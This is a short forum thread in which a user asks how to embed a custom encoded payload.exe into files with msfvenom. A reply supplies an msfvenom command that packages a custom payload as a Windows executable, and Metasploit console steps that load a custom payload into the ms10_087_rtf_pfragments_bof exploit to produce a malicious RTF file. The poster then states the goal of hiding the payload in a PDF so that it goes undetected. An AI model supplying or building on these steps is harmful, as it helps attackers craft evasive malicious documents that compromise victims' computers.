Forum Thread: Using Custom Payloads with Files

Using Custom Payloads with Files

Hi , I have created a custom encoded payload.exe , how can I embed it into a file using msfvenom??

4 Responses

Allot more information is needed to fully answer your question.
Something like this should get things started....

root@Kali:~# msfvenom -p - /root/Desktop/some_file.txt -a x86 --platform windows -f exe -o /root/Desktop/test.exe

-p payload "-" specifies custom payload
-a architecture
-- platform
-f format
-o output
It will all depend on what your trying to do, msfvenom might not be able to do what your looking for...

So I just read your exact same question on

Are you trying to simply set a custom payload inside of an exploit? If so
msf exploit(ms10_087_rtf_pfragments_bof) > set payload generic/custom
Then set the option:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.
Set custom payload:
msf exploit(ms10_087_rtf_pfragments_bof) > set FILENAME /root/Desktop/some_file
Note: Payload will have to be compatible with the exploit

Thanks for replying. I have used a script to encod my payload . So now I have one on the desktop, the problem is that I want to embed it with pdf file to be undetectable

Share Your Thoughts

  • Hot
  • Active